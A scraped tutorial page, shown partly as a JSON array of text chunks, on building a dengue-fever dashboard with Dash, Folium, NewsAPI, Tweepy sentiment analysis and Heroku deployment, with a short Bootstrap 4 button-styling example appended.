plotting of a time series: # Clean and transform data to enable time series # Bin into 5 minutes result = ( df.groupby([pd.Grouper(key="created_at", freq="5min"), "polarity"]) .count() .reset_index() ) ... Lastly, with the results, we visualise them using Plotly Graph Objects. The line graph on the top left is created with go.Scatter while the pie chart on the top right is created with go.Pie. That’s how easy it is to create your visuals! Tweets are displayed with Dash DataTable. dash_table.DataTable(id='table', columns=[{"name": i, "id": i} for i in df.columns], data=df.to_dict('records')) There currently isn’t much support for word clouds. The conventional method is to create an image and append it to our visualisations. The unconventional method which I used, plots the words on an X and Y axis and instead of displaying the coordinates, I display the text. Hence, this word cloud is created using go.Scatter. go.Scatter(x=wc_data.x, y=wc_data.y, mode="text", text=wc_data.words, ...) Now that your application works well in your local system, it is time to deploy it to Heroku. I highly recommend you check out this 15 minutes tutorial on how to do so. Otherwise, refer to the summary below: Create a Heroku account and download Heroku CLIEnsure that all dependencies for your project are downloaded. Additionally, run pip install gunicornCreate a Procfile which will tell Heroku what to runCreate requirements.txt with pip freeze > requirements.txt. This is essential for Heroku to understand which packages you are using so that they can download it as well.Deploy your application with Create a Heroku account and download Heroku CLI Ensure that all dependencies for your project are downloaded. Additionally, run pip install gunicorn Create a Procfile which will tell Heroku what to run Create requirements.txt with pip freeze > requirements.txt. This is essential for Heroku to understand which packages you are using so that they can download it as well. Deploy your application with heroku loginheroku create "<YOUR APP NAME>"git add .git commit -m "<ANY MESSAGE>"git push heroku masterheroku ps:scale web=1 Note: for your tweet scrapper and application to run at the same time, you will need 2 different applications. Otherwise, you can pay for additional dynos, which are Heroku containers. Your Procfile will be different. To utilise the same database, set the DATABASE_URL (config vars) of your scrapper to be the same as the DATABASE_URL of your application. Also, do note that it will take quite some time for the application to load. This is because I am using free dynos. Free dynos will be put to sleep if the application is not accessed for a set amount of time. This application is simple, lightweight, and powerful. It is by no means a perfect application due to the limited budget, time, and web design skills. I have also yet to take the time to optimise the algorithm, which should greatly increase the speed at which the application loads. With this article, I hope that you have gained a deeper understanding of Dash, Tweepy, NewsAPI, Geopandas, and Folium. I highly implore you to create similar applications for different contexts.
[ { "code": null, "e": 240, "s": 172, "text": "Information is power. Information on your fingertips is superpower." }, { "code": null, "e": 481, "s": 240, "text": "During this period, I chanced upon many visualisations on COVID-19 on Reddit, Twitter, and Facebook. Many of them are very inspirational and it is so pleasing to be able to ingest a huge amount of information in such a short period of time." }, { "code": null, "e": 752, "s": 481, "text": "I was motivated to build a dashboard as well on COVID-19 but I felt that there are more than enough out there. Hence, I decided to work on another issue, Dengue Fever, which is also a pressing issue. Data is readily available on data.gov.sg, but there are 3 main issues:" }, { "code": null, "e": 917, "s": 752, "text": "Some data does not have any visualisationsData is all over the place and additional effort is required to filter the resultsThere is not enough data to tell a story" }, { "code": null, "e": 960, "s": 917, "text": "Some data does not have any visualisations" }, { "code": null, "e": 1043, "s": 960, "text": "Data is all over the place and additional effort is required to filter the results" }, { "code": null, "e": 1084, "s": 1043, "text": "There is not enough data to tell a story" }, { "code": null, "e": 1170, "s": 1084, "text": "This drove me to build a dashboard on my own. There are 3 main parts to this project:" }, { "code": null, "e": 1554, "s": 1170, "text": "Analysis: I visualised the number of dengue cases, and created an overlayed map of dengue hot zones and breeding spots.News retrieval: This tab is able to retrieve news from multiple sources on the topic “Dengue”.Twitter Analysis: This feature forms the main bulk of the project. In short, I retrieve twitter data in real-time and analyse their sentiments, presenting them in charts." }, { "code": null, "e": 1674, "s": 1554, "text": "Analysis: I visualised the number of dengue cases, and created an overlayed map of dengue hot zones and breeding spots." }, { "code": null, "e": 1769, "s": 1674, "text": "News retrieval: This tab is able to retrieve news from multiple sources on the topic “Dengue”." }, { "code": null, "e": 1940, "s": 1769, "text": "Twitter Analysis: This feature forms the main bulk of the project. In short, I retrieve twitter data in real-time and analyse their sentiments, presenting them in charts." }, { "code": null, "e": 2486, "s": 1940, "text": "The purpose of this project is to show how simple it can be to build such a powerful application. It need not be on Dengue. It can be on any topic out there. For this project, it is not the content that matters, but the skills. This is more of a proof of concept rather than a final product. I will be walking you through all the 3 different parts of the project while providing snippets of code. Hopefully, you will be able to replicate it for your own meaningful projects. Do scroll to the bottom of this article for the link to the full code." }, { "code": null, "e": 2556, "s": 2486, "text": "Before I start, I would like to talk about how this project is built." }, { "code": null, "e": 2799, "s": 2556, "text": "This project is built with Dash, which is a Python framework for building Data Science/ML projects. Along with dash bootstrap component (DBC) and dash core components (DCC), you will need minimal HTML/CSS skills to build your web application." }, { "code": null, "e": 3047, "s": 2799, "text": "Each of the 3 features taps on different technologies (will be further explained). All these features are then deployed using Heroku, which is a cloud platform as a service (PaaS), that allows you to deploy your application to the cloud with ease." }, { "code": null, "e": 3095, "s": 3047, "text": "Dash applications mostly consist of 2 sections." }, { "code": null, "e": 3316, "s": 3095, "text": "App layout is the front-end portion of your application. However, all thanks to DBC and DCC, you do not need complex HTML codes to create your application. For instance, my entire app was created with the following code:" }, { "code": null, "e": 3739, "s": 3316, "text": "# Code partially hidden for readability# Layout of entire appapp.layout = html.Div( [ navbar, dbc.Tabs( [ dbc.Tab(analysisTab, id=\"label_tab1\", label=\"Visuals\"), dbc.Tab(newsTab, ...), dbc.Tab(socialMediaTab, ...), dbc.Tab(infoTab, ...), ], style={\"font-size\": 20, \"background-color\": \"#b9d9eb\"}, ), ])" }, { "code": null, "e": 3985, "s": 3739, "text": "Of course, you will have to specify what is analysisTab, newsTab, etc. You can see how abstract your application becomes with DBC and DCC. Both DBC and DCC provides buttons, tabs, forms, navigation bar along with many other essential components." }, { "code": null, "e": 4244, "s": 3985, "text": "App callbacks can be considered the backend portion of your application. If you were to observe the above code, you will notice that I assigned an id=\"label_tab1\" to my analysisTab this helps us to identify which callbacks to use for that specific component." }, { "code": null, "e": 4282, "s": 4244, "text": "An example of a callback is as shown:" }, { "code": null, "e": 4437, "s": 4282, "text": "@app.callback( Output(\"sa-graph\", \"children\"), [Input(\"interval-component-slow\", \"n_intervals\")])def sa_line(n): children = [...] return children" }, { "code": null, "e": 4850, "s": 4437, "text": "What this does is that it will take an input component interval-component-slow with a specified parameter n_intervals and output the results children that was created by a method sa_line() to the output component sa-graph. This is especially useful if you want to make your application interactive. For instance, you can allow your visualisations to change according to a radio button that was clicked by a user." }, { "code": null, "e": 5247, "s": 4850, "text": "However, a callback is not always required if you want your application to be static. You will realise that my first 2 tabs did not make use of callbacks as I do not require any inputs from my users. I am only required to resent information to them. The 3rd tab (twitter analysis) is a special case. I had to use callbacks as I want my analysis to refresh every 30 seconds. More about this later!" }, { "code": null, "e": 5263, "s": 5247, "text": "Full code here." }, { "code": null, "e": 5342, "s": 5263, "text": "The main learning point for this section is the usage of Geopandas and Folium." }, { "code": null, "e": 5713, "s": 5342, "text": "The data downloaded from data.gov.sg comes in a GeoJSON format. GeoJSON files allow you to encode geographical data into an object. It has a very structured format which includes the type, geometry, and properties of the location. Since dengue clusters involve a plot of land, our locations are encoded in a Polygon object, which is an array of longitudes and latitudes." }, { "code": null, "e": 5770, "s": 5713, "text": "Reading a GeoJSON file is easy. We simple use Geopandas:" }, { "code": null, "e": 5844, "s": 5770, "text": "central_data = gpd.read_file(\"data/dengue-cases-central-geojson.geojson\")" }, { "code": null, "e": 5957, "s": 5844, "text": "Once the data is loaded, manipulation should be pretty easy, provided that you are well versed with a DataFrame." }, { "code": null, "e": 6066, "s": 5957, "text": "Folium allows us to visualise our GeoJSON data in a leaflet (a JavaScript library for interactive maps) map." }, { "code": null, "e": 6184, "s": 6066, "text": "First, we create a map and zoom in to our desired spot (in my case, I chose the longitude and latitude of Singapore):" }, { "code": null, "e": 6260, "s": 6184, "text": "kw = {\"location\": [1.3521, 103.8198], \"zoom_start\": 12}m = folium.Map(**kw)" }, { "code": null, "e": 6343, "s": 6260, "text": "Next, I add 2 layers (one for clusters and another for breeding zones) to the map:" }, { "code": null, "e": 6443, "s": 6343, "text": "folium.GeoJson(<FIRST LAYER DATA>, ...).add_to(m)folium.GeoJson(<SECOND LAYER DATA>, ...).add_to(m)" }, { "code": null, "e": 6599, "s": 6443, "text": "Lastly, since Dash does not allow me to display folium objects directly, I exported the resulting map into an HTML file and displayed that using an IFrame:" }, { "code": null, "e": 6710, "s": 6599, "text": "m.save(\"dengue-cluster.html\")html.Iframe(id=\"dengue-map\", srcDoc=open(\"dengue-cluster.html\", \"r\").read(), ...)" }, { "code": null, "e": 6726, "s": 6710, "text": "Full code here." }, { "code": null, "e": 7003, "s": 6726, "text": "The main learning point for this section is the usage of the NewsAPI. NewsAPI allows us to search for news articles from multiple sources using their API. Before you can start using it, you will be required to sign up for an account in order to obtain your own unique API key." }, { "code": null, "e": 7108, "s": 7003, "text": "Note that as a free-tier member, you will be limited in terms of the number of news retrievable per day." }, { "code": null, "e": 7424, "s": 7108, "text": "Keys are very important! Just like how you would not share your house keys with your friends, you will not want to share your API keys. When you are developing on your local system, I highly suggest that you keep all your keys in a keys.py file and add that file to .gitignore so that it does not get pushed online." }, { "code": null, "e": 7612, "s": 7424, "text": "Since you did not push keys.py to GitHub, Heroku cannot access it. Instead, Heroku have their own configuration variables. You can add your keys to Heroku either via the CLI or their GUI." }, { "code": null, "e": 7721, "s": 7612, "text": "For deployment purposes, we get our code to retrieve keys depending if we are on our local system or Heroku:" }, { "code": null, "e": 7953, "s": 7721, "text": "try: from keys import newsapikey # retrieve from local system newsapi = NewsApiClient(api_key=newsapikey)except: newsapikey = os.environ[\"newapi_key\"] # retrieve from Heroku newsapi = NewsApiClient(api_key=newsapikey)" }, { "code": null, "e": 8002, "s": 7953, "text": "Next, we can finally retrieve our news articles:" }, { "code": null, "e": 8204, "s": 8002, "text": "all_articles = newsapi.get_everything( q=\"dengue singapore\", from_param=date_n_days_ago, to=date_now, language=\"en\", sort_by=\"publishedAt\", page_size=100, )" }, { "code": null, "e": 8433, "s": 8204, "text": "There are 3 main functions newsapi.get_everything() , newsapi.get_top_headlines() and newsapi.get_sources(). Use any you deem fit! We can then retrieve our content. An example of retrieving the title of all articles is as shown:" }, { "code": null, "e": 8563, "s": 8433, "text": "all_articles_title = [ str(all_articles[\"articles\"][i][\"title\"]) for i in range(len(all_articles[\"articles\"])) ]" }, { "code": null, "e": 8687, "s": 8563, "text": "Now that you have your data, you can add them using DBC. For this project, I made use of CardImg, CardBody, and CardFooter." }, { "code": null, "e": 9080, "s": 8687, "text": "This forms the bulk of the project. I made use of Tweepy, which is a Python library that allows us to access the Twitter API to stream tweets. My aim is to retrieve all tweets related to ‘Dengue’, pre-process the text, analyse the sentiments, and visualise the results. Tweets are continuously being mined from Twitter and my application will refresh every 30 seconds to display the new data." }, { "code": null, "e": 9144, "s": 9080, "text": "At this stage, I should probably introduce to you the workflow." }, { "code": null, "e": 9859, "s": 9144, "text": "Tweets are being pulled from TwitterTweets are being cleaned (translated to English, emojis removed, links removed) and sentiment of the tweets are analysed by TextBlob)A connection to a database is established and the processed tweets and sentiments are pushed to the database every time a new tweet comes in. For a local system, I used MySQL and for Heroku, I used their PostgreSQL database. This script is kept running.At the same time, I retrieve tweets that are older than a day and delete them from the database. This will ensure that our database does not run out of space.With my application running in parallel, it will retrieve an hour's worth of data from the database every 30 seconds and display them." }, { "code": null, "e": 9896, "s": 9859, "text": "Tweets are being pulled from Twitter" }, { "code": null, "e": 10030, "s": 9896, "text": "Tweets are being cleaned (translated to English, emojis removed, links removed) and sentiment of the tweets are analysed by TextBlob)" }, { "code": null, "e": 10284, "s": 10030, "text": "A connection to a database is established and the processed tweets and sentiments are pushed to the database every time a new tweet comes in. For a local system, I used MySQL and for Heroku, I used their PostgreSQL database. This script is kept running." }, { "code": null, "e": 10443, "s": 10284, "text": "At the same time, I retrieve tweets that are older than a day and delete them from the database. This will ensure that our database does not run out of space." }, { "code": null, "e": 10578, "s": 10443, "text": "With my application running in parallel, it will retrieve an hour's worth of data from the database every 30 seconds and display them." }, { "code": null, "e": 10689, "s": 10578, "text": "Just like NewsAPI, Tweepy requires us to generate API keys as well. Head on to Twitter Developer to get yours!" }, { "code": null, "e": 10787, "s": 10689, "text": "Full code here. Note that commented codes are for MySQL and uncommented codes are for PostgreSQL." }, { "code": null, "e": 10889, "s": 10787, "text": "Step 1: Initialise the database by creating a database for us if the database and table do not exist." }, { "code": null, "e": 11357, "s": 10889, "text": "DATABASE_URL = os.environ[\"DATABASE_URL\"]conn = psycopg2.connect(DATABASE_URL, sslmode=\"require\")cur = conn.cursor()cur.execute( \"\"\" SELECT COUNT(*) FROM information_schema.tables WHERE table_name = '{0}' \"\"\".format( parameters.TABLE_NAME ))if cur.fetchone()[0] == 0: cur.execute( \"CREATE TABLE {} ({});\".format( parameters.TABLE_NAME, parameters.TABLE_ATTRIBUTES ) ) conn.commit()cur.close()" }, { "code": null, "e": 11408, "s": 11357, "text": "Step 2: Initialise Twitter API and start streaming" }, { "code": null, "e": 11557, "s": 11408, "text": "myStreamListener = MyStreamListener()myStream = tweepy.Stream(auth=api.auth, listener=myStreamListener)myStream.filter(track=parameters.TRACK_WORDS)" }, { "code": null, "e": 11741, "s": 11557, "text": "Step 3: Process every tweet coming in. In order to achieve this, you have to override tweepy.StreamListener, which is the class responsible for pushing new tweets from Twitter to you." }, { "code": null, "e": 12235, "s": 11741, "text": "# Override tweepy.StreamListener to add logic to on_statusclass MyStreamListener(tweepy.StreamListener): def on_status(self, status): # Start modifying id_str = status.id_str created_at = status.created_at clean_text, text = preprocess(status.text) sentiment = TextBlob(text).sentiment polarity = sentiment.polarity ... # SQL statement for pushing tweets to DB ... # SQL statement for deleting and cleaning DB ..." }, { "code": null, "e": 12470, "s": 12235, "text": "The trick to getting your application refresh every x seconds is with dcc.Interval. By adding an interval to your application as an input to your callback, you are telling your application to regenerate your component every x seconds." }, { "code": null, "e": 12607, "s": 12470, "text": "dcc.Interval( id=\"interval-component-slow\", interval=30000, # in milliseconds n_intervals=0, )," }, { "code": null, "e": 12642, "s": 12607, "text": "Full code for visualisations here." }, { "code": null, "e": 12698, "s": 12642, "text": "Firstly, we have to retrieve the data that was scraped:" }, { "code": null, "e": 13054, "s": 12698, "text": "# Loading data from Heroku PostgreSQL DATABASE_URL = os.environ[\"DATABASE_URL\"] db_connection = psycopg2.connect(DATABASE_URL, sslmode=\"require\")# Load last 1 hour data from MySQL ...query = \"SELECT ... FROM {} WHERE created_at >= '{}' \".format( \"dengue\", timenow )df = pd.read_sql(query, con=db_connection)# Convert UTC into SGT ..." }, { "code": null, "e": 13131, "s": 13054, "text": "Next, the data is cleaned and transformed for the plotting of a time series:" }, { "code": null, "e": 13343, "s": 13131, "text": "# Clean and transform data to enable time series # Bin into 5 minutes result = ( df.groupby([pd.Grouper(key=\"created_at\", freq=\"5min\"), \"polarity\"]) .count() .reset_index() ) ..." }, { "code": null, "e": 13580, "s": 13343, "text": "Lastly, with the results, we visualise them using Plotly Graph Objects. The line graph on the top left is created with go.Scatter while the pie chart on the top right is created with go.Pie. That’s how easy it is to create your visuals!" }, { "code": null, "e": 13622, "s": 13580, "text": "Tweets are displayed with Dash DataTable." }, { "code": null, "e": 13735, "s": 13622, "text": "dash_table.DataTable(id='table', columns=[{\"name\": i, \"id\": i} for i in df.columns], data=df.to_dict('records'))" }, { "code": null, "e": 14060, "s": 13735, "text": "There currently isn’t much support for word clouds. The conventional method is to create an image and append it to our visualisations. The unconventional method which I used, plots the words on an X and Y axis and instead of displaying the coordinates, I display the text. Hence, this word cloud is created using go.Scatter." }, { "code": null, "e": 14175, "s": 14060, "text": "go.Scatter(x=wc_data.x, y=wc_data.y, mode=\"text\", text=wc_data.words, ...)" }, { "code": null, "e": 14383, "s": 14175, "text": "Now that your application works well in your local system, it is time to deploy it to Heroku. I highly recommend you check out this 15 minutes tutorial on how to do so. Otherwise, refer to the summary below:" }, { "code": null, "e": 14780, "s": 14383, "text": "Create a Heroku account and download Heroku CLIEnsure that all dependencies for your project are downloaded. Additionally, run pip install gunicornCreate a Procfile which will tell Heroku what to runCreate requirements.txt with pip freeze > requirements.txt. This is essential for Heroku to understand which packages you are using so that they can download it as well.Deploy your application with" }, { "code": null, "e": 14828, "s": 14780, "text": "Create a Heroku account and download Heroku CLI" }, { "code": null, "e": 14929, "s": 14828, "text": "Ensure that all dependencies for your project are downloaded. Additionally, run pip install gunicorn" }, { "code": null, "e": 14982, "s": 14929, "text": "Create a Procfile which will tell Heroku what to run" }, { "code": null, "e": 15152, "s": 14982, "text": "Create requirements.txt with pip freeze > requirements.txt. This is essential for Heroku to understand which packages you are using so that they can download it as well." }, { "code": null, "e": 15181, "s": 15152, "text": "Deploy your application with" }, { "code": null, "e": 15306, "s": 15181, "text": "heroku loginheroku create \"<YOUR APP NAME>\"git add .git commit -m \"<ANY MESSAGE>\"git push heroku masterheroku ps:scale web=1" }, { "code": null, "e": 15662, "s": 15306, "text": "Note: for your tweet scrapper and application to run at the same time, you will need 2 different applications. Otherwise, you can pay for additional dynos, which are Heroku containers. Your Procfile will be different. To utilise the same database, set the DATABASE_URL (config vars) of your scrapper to be the same as the DATABASE_URL of your application." }, { "code": null, "e": 15871, "s": 15662, "text": "Also, do note that it will take quite some time for the application to load. This is because I am using free dynos. Free dynos will be put to sleep if the application is not accessed for a set amount of time." }, { "code": null, "e": 16154, "s": 15871, "text": "This application is simple, lightweight, and powerful. It is by no means a perfect application due to the limited budget, time, and web design skills. I have also yet to take the time to optimise the algorithm, which should greatly increase the speed at which the application loads." } ]
Bootstrap 4 Button .btn-outline-dark class
Use the .btn-outline-dark class in Bootstrap to set dark outline on a button. The following is an example of a button with dark outline − Set the above outline to the button, using the btn-outline-dark class as shown below − <button type="button" class="btn btn-outline-dark"> Submit </button> You can try to run the following code to implement the btn-outline-dark class − Live Demo <!DOCTYPE html> <html lang="en"> <head> <title>Bootstrap Example</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <h4>Bootstrap 4</h4> <p>Learning btn-outline-dark class usage:</p> <button type="button" class="btn btn-outline-dark">Submit</button> </div> </body> </html>
[ { "code": null, "e": 1140, "s": 1062, "text": "Use the .btn-outline-dark class in Bootstrap to set dark outline on a button." }, { "code": null, "e": 1200, "s": 1140, "text": "The following is an example of a button with dark outline −" }, { "code": null, "e": 1287, "s": 1200, "text": "Set the above outline to the button, using the btn-outline-dark class as shown below −" }, { "code": null, "e": 1358, "s": 1287, "text": "<button type=\"button\" class=\"btn btn-outline-dark\">\n Submit\n</button>" }, { "code": null, "e": 1438, "s": 1358, "text": "You can try to run the following code to implement the btn-outline-dark class −" }, { "code": null, "e": 1448, "s": 1438, "text": "Live Demo" }, { "code": null, "e": 2138, "s": 1448, "text": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <title>Bootstrap Example</title>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css\">\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js\"></script>\n <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js\"></script>\n </head>\n<body>\n <div class=\"container\"> \n <h4>Bootstrap 4</h4>\n <p>Learning btn-outline-dark class usage:</p>\n <button type=\"button\" class=\"btn btn-outline-dark\">Submit</button>\n </div>\n</body>\n</html>" } ]
Mastering Dates and Timestamps in Pandas (and Python in general) | by Matias Eiletz | Towards Data Science
Dates in general More specifically, handling operations with... Days Weeks Months Years Extra: Generating date ranges Generate Sequential date ranges Generate Random date ranges (*) Before running any code, please import pandas! import pandas as pd Now, let’s get started. You can choose every format as you want, following this simple strftime documentation. So for example, starting from this DataFrame: Change the Date Format, with: df['date'] = df['date'].apply(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d')) Or, we can go a bit more exotic and do: df['date'] = df['date'].apply(lambda x: pd.Timestamp(x).strftime('%B-%d-%Y %I:%M %p')) Remember, all variations for timestamp formats that you can choose, you can find them in this link: strftime Try it yourself! Starting from this example-built DataFrame: df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']}) # 4 possible options# 1df['date'] = pd.to_datetime(df['date'])# 2df['date'] = df['date'].astype('datetime64[ns]')# 3df['date'] = df['date'].apply(lambda x: parse(x))# 4df['date'] = df['date'].apply(lambda x: pd.Timestamp(x)) Example (we try only one of the 4 options, but all of them should work) df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-01-02 13:15:21']})dfdf.dtypesdf['date'] = pd.to_datetime(df['date'])dfdf.dtypes Output: Example with isolated variables: from dateutil.parser import parsestr_date = '2018-05-01'# String to Date:date_1 = parse(str_date)print ('date_1: ',date_1, type(date_1))# Date to String:date_2 = date_1.strftime('%Y-%m-%d')print ('date_2: ',date_2, type(date_2)) Output: df['date'] = pd.to_datetime(df['date'],unit='s') Example: df = pd.DataFrame({'date': [1349720105,1349806505]})dfdf['date'] = pd.to_datetime(df['date'],unit='s')df Output (before and after): Use Timedelta! Example: from datetime import datetime, timedeltafrom dateutil.parser import parseparse('2019-04-07') — timedelta(days=3)# or, to get it as a string(parse('2019-04-07') — timedelta(days=3)).strftime('%Y-%m-%d') Output: # with date format datetime.datetime(2019, 4, 4, 0, 0) # with string format'2019-04-04' Convert both strings into date format, and then do the calculation. Example: from dateutil.parser import parsed1 = parse('2018-12-01')d2 = parse('2018-12-08')abs((d2 - d1).days) Output: 7# 7 days # for a column in a DataFramefrom datetime import datetime as dtdf['day'] = df['date'].dt.day# for a single valuefrom dateutil.parser import parseparse('2018-08-09').day Output: 9 Example: df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-01-02 13:15:21']})# if date column type is a stringdf['week'] = pd.DatetimeIndex(df['date']).week# if date column type is a datetime# df['week'] = df['date'].dt.week Output: (*) To create a Week column, in the format yyyy-ww, use: df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if column type is a string/objectdf['yyyy_ww'] = pd.DatetimeIndex(df['date']).strftime('%Y-%U')# if column type is a datetime# df['yyyy_ww'] = df['date'].dt.strftime('%Y-%U') And for an isolated variable: import datetimedate_1 = '2018-02-06'parse(date_1).isocalendar()[1] Output: 6# 6th week of the year Example: df['weekday'] = df['date'].apply(lambda x: parse(str(x)).strftime("%A")) Output: Example: you want to know what dates were the start and end from week number 37 in the year 2018: # define this functiondef get_start_end_dates(yyyyww): year = yyyyww[:4] week = yyyyww[-2:] first_day_year = str(year) + '-' + '01' + '-' + '01' d = parse(first_day_year) if(d.weekday()<= 3): d = d - timedelta(d.weekday()) else: d = d + timedelta(7-d.weekday()) dlt = timedelta(days = (int(week)-1)*7) return (d + dlt).strftime('%Y-%m-%d'), (d + dlt + timedelta(days=6)).strftime('%Y-%m-%d')# run itget_start_end_dates('201837') Output (a tuple with the start and the end of the week): ('2018-09-10', '2018-09-16') Example: df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if date column type is a string/objectdf['month'] = pd.DatetimeIndex(df['date']).month# if date column type is a datetime# df['month'] = df['date'].dt.month Output: And for an isolated variable: import datetimedate_1 = '2018-02-06'parse(date_1).month Output: 2# 2nd month of the year (*) To create a month column, in the format YYYY-MM, use: df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if column type is a string/objectdf['yyyy_mm'] = pd.DatetimeIndex(df['date']).strftime('%Y-%m')# if column type is a datetime# df['yyyy_mm'] = df['date'].dt.strftime('%Y-%m') Use this function def monthdelta(date, delta): m, y = (date.month+delta) % 12, date.year + ((date.month)+delta-1) // 12 if not m: m = 12 d = min(date.day, [31, 29 if y%4==0 and not y%400==0 else 28,31,30,31,30,31,31,30,31,30,31][m-1]) new_date = (date.replace(day=d,month=m, year=y)) return new_date.strftime('%Y-%m-%d') Example (subtracting 4 months to a certain date): monthdelta(parse('2019-11-09'), -4) Output (shows the same date, but 4 months before): '2019-07-09' Example: df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})# if date column type is a string/objectdf['year'] = pd.DatetimeIndex(df['date']).year# if date column type is a datetime# df['year'] = df['date'].dt.year And for an isolated variable: import datetimedate_1 = '2018-02-06'parse(date_1).year Output: 2018 Example: generating a date range from 01/01/2019 to 01/02/2019, with hourly frequency. from datetime import datetimeimport numpy as npdate_range = pd.date_range(start='01/01/2019', end='01/02/2019', freq='H') See the different option for the frequencies in here. import randomimport timefrom dateutil.parser import parsedef str_time_prop(start, end, format, prop): stime = time.mktime(time.strptime(start, format)) etime = time.mktime(time.strptime(end, format)) ptime = stime + prop * (etime - stime) return time.strftime(format, time.localtime(ptime))selected_format = '%Y-%m-%d %H:%M:%S'def random_date(start, end, prop): return parse(str_time_prop(start, end, selected_format, prop)).strftime(selected_format)print(random_date("2020-01-01 13:40:00", "2020-01-01 14:10:00", random.random()))def make_date(x): return random_date("2012-12-01 13:40:00", "2012-12-24 14:50:00", random.random()) Here’s the source for this function. From this, we can generate random dates. For example, let’s generate a list of 10 random timestamps between Christmas and new year: def make_date(x): return random_date("2012-12-24 00:00:00", "2012-12-31 23:59:59", random.random())[make_date(x) for x in range(10)] We can add it also to any dataframe, like this: df = pd.DataFrame({'number': [1,2,3,4,5]})df['time'] = df['number'].apply(make_date)df This is the end of the article. Hope you enjoy it and that you can make good use of it! Send me a message or leave a reply if you have any question. Follow me if you want to get informed about articles like this one in the future!
[ { "code": null, "e": 188, "s": 171, "text": "Dates in general" }, { "code": null, "e": 235, "s": 188, "text": "More specifically, handling operations with..." }, { "code": null, "e": 240, "s": 235, "text": "Days" }, { "code": null, "e": 246, "s": 240, "text": "Weeks" }, { "code": null, "e": 253, "s": 246, "text": "Months" }, { "code": null, "e": 259, "s": 253, "text": "Years" }, { "code": null, "e": 289, "s": 259, "text": "Extra: Generating date ranges" }, { "code": null, "e": 321, "s": 289, "text": "Generate Sequential date ranges" }, { "code": null, "e": 349, "s": 321, "text": "Generate Random date ranges" }, { "code": null, "e": 400, "s": 349, "text": "(*) Before running any code, please import pandas!" }, { "code": null, "e": 420, "s": 400, "text": "import pandas as pd" }, { "code": null, "e": 444, "s": 420, "text": "Now, let’s get started." }, { "code": null, "e": 531, "s": 444, "text": "You can choose every format as you want, following this simple strftime documentation." }, { "code": null, "e": 577, "s": 531, "text": "So for example, starting from this DataFrame:" }, { "code": null, "e": 607, "s": 577, "text": "Change the Date Format, with:" }, { "code": null, "e": 685, "s": 607, "text": "df['date'] = df['date'].apply(lambda x: pd.Timestamp(x).strftime('%Y-%m-%d'))" }, { "code": null, "e": 725, "s": 685, "text": "Or, we can go a bit more exotic and do:" }, { "code": null, "e": 812, "s": 725, "text": "df['date'] = df['date'].apply(lambda x: pd.Timestamp(x).strftime('%B-%d-%Y %I:%M %p'))" }, { "code": null, "e": 921, "s": 812, "text": "Remember, all variations for timestamp formats that you can choose, you can find them in this link: strftime" }, { "code": null, "e": 982, "s": 921, "text": "Try it yourself! Starting from this example-built DataFrame:" }, { "code": null, "e": 1057, "s": 982, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-03-02 13:15:21']})" }, { "code": null, "e": 1282, "s": 1057, "text": "# 4 possible options# 1df['date'] = pd.to_datetime(df['date'])# 2df['date'] = df['date'].astype('datetime64[ns]')# 3df['date'] = df['date'].apply(lambda x: parse(x))# 4df['date'] = df['date'].apply(lambda x: pd.Timestamp(x))" }, { "code": null, "e": 1354, "s": 1282, "text": "Example (we try only one of the 4 options, but all of them should work)" }, { "code": null, "e": 1490, "s": 1354, "text": "df = pd.DataFrame({'date': ['2018-08-09 11:10:55','2019-01-02 13:15:21']})dfdf.dtypesdf['date'] = pd.to_datetime(df['date'])dfdf.dtypes" }, { "code": null, "e": 1498, "s": 1490, "text": "Output:" }, { "code": null, "e": 1531, "s": 1498, "text": "Example with isolated variables:" }, { "code": null, "e": 1760, "s": 1531, "text": "from dateutil.parser import parsestr_date = '2018-05-01'# String to Date:date_1 = parse(str_date)print ('date_1: ',date_1, type(date_1))# Date to String:date_2 = date_1.strftime('%Y-%m-%d')print ('date_2: ',date_2, type(date_2))" }, { "code": null, "e": 1768, "s": 1760, "text": "Output:" }, { "code": null, "e": 1817, "s": 1768, "text": "df['date'] = pd.to_datetime(df['date'],unit='s')" }, { "code": null, "e": 1826, "s": 1817, "text": "Example:" }, { "code": null, "e": 1931, "s": 1826, "text": "df = pd.DataFrame({'date': [1349720105,1349806505]})dfdf['date'] = pd.to_datetime(df['date'],unit='s')df" }, { "code": null, "e": 1958, "s": 1931, "text": "Output (before and after):" }, { "code": null, "e": 1982, "s": 1958, "text": "Use Timedelta! Example:" }, { "code": null, "e": 2184, "s": 1982, "text": "from datetime import datetime, timedeltafrom dateutil.parser import parseparse('2019-04-07') — timedelta(days=3)# or, to get it as a string(parse('2019-04-07') — timedelta(days=3)).strftime('%Y-%m-%d')" }, { "code": null, "e": 2192, "s": 2184, "text": "Output:" }, { "code": null, "e": 2280, "s": 2192, "text": "# with date format datetime.datetime(2019, 4, 4, 0, 0) # with string format'2019-04-04'" }, { "code": null, "e": 2357, "s": 2280, "text": "Convert both strings into date format, and then do the calculation. Example:" }, { "code": null, "e": 2458, "s": 2357, "text": "from dateutil.parser import parsed1 = parse('2018-12-01')d2 = parse('2018-12-08')abs((d2 - d1).days)" }, { "code": null, "e": 2466, "s": 2458, "text": "Output:" }, { "code": null, 